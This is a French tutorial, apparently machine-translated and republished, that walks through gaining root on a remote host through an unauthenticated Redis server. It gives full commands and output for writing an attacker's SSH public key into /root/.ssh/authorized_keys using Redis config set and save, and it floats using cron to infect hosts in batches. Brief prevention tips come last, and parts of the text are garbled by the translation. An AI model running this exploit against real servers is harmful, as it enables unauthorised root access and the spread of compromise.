Maison  >  Article  >  base de données  >  Parlons des principes du minage Redis (exemples détaillés)

Parlons des principes du minage Redis (exemples détaillés)

WBOY
WBOYavant
2022-02-23 17:57:383206parcourir

Cet article vous apporte des connaissances pertinentes sur le principe de minage de Redis Ici, nous allons montrer comment utiliser Redis pour élever les privilèges afin d'obtenir l'utilisateur root du serveur distant, et comment le protéger. tout le monde.

Parlons des principes du minage Redis (exemples détaillés)

Apprentissage recommandé : Tutoriel vidéo Redis

Aujourd'hui, nous allons démontrer comment obtenir l'utilisateur root du serveur distant via une élévation de privilèges via Redis.

1. Nous avons d'abord besoin de quelques prérequis

  • Condition 1 : Vous devez d'abord avoir un Redis, et nous devons connaître son port [par défaut 6379]

  • Condition 2 : Le mot de passe Redis ne peut pas être trop complexe ; , ou pas de mot de passe ;

  • Condition 3 : L'utilisateur qui démarre Redis est de préférence un utilisateur Root, ce qui est plus destructeur

2.1 Créez une paire de secrets ; La clé

  • est générée via ssh-keygen Bien entendu, vous pouvez utiliser celle existante sans aucun problème.

    root@kali:/usr/local/src# ssh-keygen
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
    Ensuite, la valeur de la clé d'attaque est générée via la clé publique

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
  • Le contenu est le suivant
root@kali:/tmp/rediskey# cat foo.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

Le but de l'ajout de deux nouvelles lignes avant et après ici est d'empêcher les données d'être connectées ensemble et de provoquer des problèmes d'échec.

2.2 Configurer la clé de Redis

  • L'opération est la suivante :

    root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
    OK
    Connectez-vous à Redis pour vérifier si elle a été écrite dans Redis.

    root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
    192.168.243.129:6379> get bar
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"

2.3 Remplacer les fichiers système via le mécanisme de sauvegarde Redis

  • Voyons les opérations suivantes

    192.168.243.129:6379> config set dir /root/.ssh
    OK
    192.168.243.129:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    192.168.243.129:6379> config set dbfilename "authorized_keys"
    OK
    192.168.243.129:6379> save
    OK
    192.168.243.129:6379> exit
    À ce stade, nous nous connectons à l'hôte distant pour voir l'effet.

    root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
    The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
    ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
    Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64
    
    Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
    root@kali:~#
  • OK, nous avons maintenant réussi à élever les droits, alors jetons un coup d'œil à ce qu'est le fichier exporté ? En fait, il s'agit simplement du fichier enregistré de Redis. Si vous êtes intéressé, vous pouvez l'ouvrir vous-même et le voir.

3. Comment prévenir

Cette vulnérabilité est assez puissante. Nous n'avons désormais qu'une seule autorisation d'hôte. Que diriez-vous de l'ajouter à une tâche planifiée pour exécuter certains scripts, puis de l'infecter par lots ?

Les conseils de prévention sont les suivants :

Redis ne doit pas écouter les adresses IP dangereuses. Si tel est le cas, veuillez ajouter un contrôle de pare-feu

    Redis doit augmenter les restrictions de mot de passe, et il ne peut pas s'agir d'un mot de passe faible ;
  • Redis devrait essayer de ne pas l'utiliser. Commencez en tant qu'utilisateur root.

  • Suivez les trois points ci-dessus pour empêcher le minage Redis, pas de problème

    Apprentissage recommandé :
  • Tutoriel vidéo Redis

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer